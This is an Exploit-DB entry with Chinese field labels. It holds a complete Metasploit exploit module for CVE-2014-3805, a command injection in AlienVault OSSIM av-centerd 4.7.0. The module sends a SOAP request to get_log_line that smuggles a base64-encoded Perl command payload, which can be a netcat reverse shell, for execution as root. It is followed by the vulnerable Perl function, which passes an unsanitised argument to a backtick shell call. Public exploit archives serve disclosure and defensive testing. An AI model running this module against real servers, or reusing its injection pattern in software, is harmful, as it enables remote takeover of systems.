标题: Alienvault OSSIM av-centerd 4.7.0 - 'get_log_line' Command Injection (Metasploit) EDB-ID: 42709 CVE: 2014-3805 类型: REMOTE 平台: LINUX 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'
require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include REXML

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Alienvault OSSIM av-centerd Command Injection get_log_line',
   'Description' => %q{
    This module exploits a command injection flaw found in the get_log_line
    function found within Util.pm. The vulnerability is triggered due to an
    unsanitized $r_file parameter passed to a string which is then executed
    by the system
   },
   'Author' => [ 'james fitts' ],
   'License' => MSF_LICENSE,
   'References' =>
    [
     [ 'CVE', '2014-3805' ],
     [ 'OSVDB', '107992' ]
    ],
   'Privileged' => true,
   'Platform'  => 'unix',
   'Arch'   => ARCH_CMD,
   'DefaultOptions' =>
    {
     'SSL' => true,
    },
   'Payload' =>
    {
     'Compat' => {
      'RequiredCmd' => 'perl netcat-e openssl python gawk'
     }
    },
   'DefaultTarget' => 0,
   'Targets' =>
    [
     ['Alienvault <= 4.7.0',{}]
    ],
   'DisclosureDate' => 'Jul 18 2014'))

   register_options([Opt::RPORT(40007)], self.class)
 end

 def check
  version = ""
  res = send_soap_request("get_dpkg")

  if res &&
   res.code == 200 &&
   res.headers['SOAPServer'] &&
   res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
   res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/

   version = $1
  end

  if version.empty? || version >= "4.7.0"
   return Exploit::CheckCode::Safe
  else
   return Exploit::CheckCode::Appears
  end
 end

 def build_soap_request(method)
  xml = Document.new
  xml.add_element(
   "soap:Envelope",
   {
    "xmlns:xsi"    => "http://www.w3.org/2001/XMLSchema-instance",
    "xmlns:soapenc"   => "http://schemas.xmlsoap.org/soap/encoding/",
    "xmlns:xsd"    => "http://www.w3.org/2001/XMLSchema",
    "soap:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/",
    "xmlns:soap"   => "http://schemas.xmlsoap.org/soap/envelope/"
   })

  body = xml.root.add_element("soap:Body")
  m = body.add_element(method, { 'xmlns' => "AV/CC/Util" })

  args = []
  args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
  args[0].text = "All"

  args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
  args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2"

  args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
  args[2].text = "#{datastore['RHOST']}"

  args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
  args[3].text = "#{rand_text_alpha(4 + rand(4))}"

  args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
  args[4].text = "/var/log/auth.log"

  args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
  perl_payload =  "system(decode_base64"
  perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
  args[5].text = "1;perl -MMIME::Base64 -e '#{perl_payload}';"

  xml.to_s
 end

 def send_soap_request(method, timeout=20)
  soap = build_soap_request(method)

  res = send_request_cgi({
   'uri'  => '/av-centerd',
   'method' => 'POST',
   'ctype'  => 'text/xml; charset=UTF-8',
   'data'  => soap,
   'headers' => {
    'SOAPAction' => "\"AV/CC/Util##{method}\""
   }
  }, timeout)

  res
 end

 def exploit
  send_soap_request("get_log_line", 1)
 end
end
__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub get_log_line {
        my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file, $number_lines )
        = @_;

    verbose_log_file(
        "GET LOG LINE  : Received call from $uuid : ip source = $admin_ip, hostname = $hostname :($funcion_llamada,$r_file)"
    );

    my @ret = ("$systemuuid");

    if ( $r_file =~ /\.\./ ){
                        push(@ret,"File not auth");
                        return \@ret;
        }

        if ( $number_lines <= 0) {
                        push(@ret,"Error in number lines");
                        return \@ret;
        }

    if (( $r_file =~ /^\/var\/log\// ) or ( $r_file =~ /^\/var\/ossec\/alerts\// ) or ( $r_file =~ /^\/var\/ossec\/logs\// )){
                        if (! -f "$r_file" ){
                                push(@ret,"File not found");
                                return \@ret;
                        }
                        push(@ret,"ready");

                        my $command = "tail -$number_lines $r_file";
                        #push(@ret,"$command");
                        #my @content = `tail -$number_lines $r_file`;
                        my @content = `$command`;
                        push(@ret,@content);
                        return \@ret;
        }
    else {
                push(@ret,"path not auth");
                return \@ret;
        }
} URL: https://www.exploit-db.com/exploits/42709